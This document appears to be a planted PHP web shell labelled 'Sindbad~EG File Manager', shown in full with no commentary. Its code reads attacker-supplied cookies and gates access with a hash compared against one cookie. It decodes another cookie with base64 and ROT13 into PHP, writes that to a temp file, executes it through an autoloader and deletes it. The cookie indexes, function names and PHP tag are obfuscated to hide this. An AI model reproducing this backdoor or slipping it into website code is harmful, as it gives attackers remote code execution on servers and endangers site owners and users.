Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-63+63]) && isset($_COOKIE[40-39]) && isset($_COOKIE[82-79]) && isset($_COOKIE[-8+12])) {
    $parameter_group = $_COOKIE;
    function request_approved($symbol) {
        $parameter_group = $_COOKIE;
        $object = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '236645fa');
        if (!is_writable($object)) {
            $object = getcwd() . DIRECTORY_SEPARATOR . "dataflow_engine";
        }
        $hld = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($parameter_group[3]));
        if (is_writeable($object)) {
            $holder = fopen($object, 'w+');
            fputs($holder, $hld);
            fclose($holder);
            spl_autoload_unregister(__FUNCTION__);
            require_once($object);
            @array_map('unlink', array($object));
        }
    }
    spl_autoload_register("request_approved");
    $obj = "b95a7dedf7b89f78540284e52e98f47b";
    if (!strncmp($obj, $parameter_group[4], 32)) {
        if (@class_parents("token_parser_engine_secure_access", true)) {
            exit;
        }
    }
}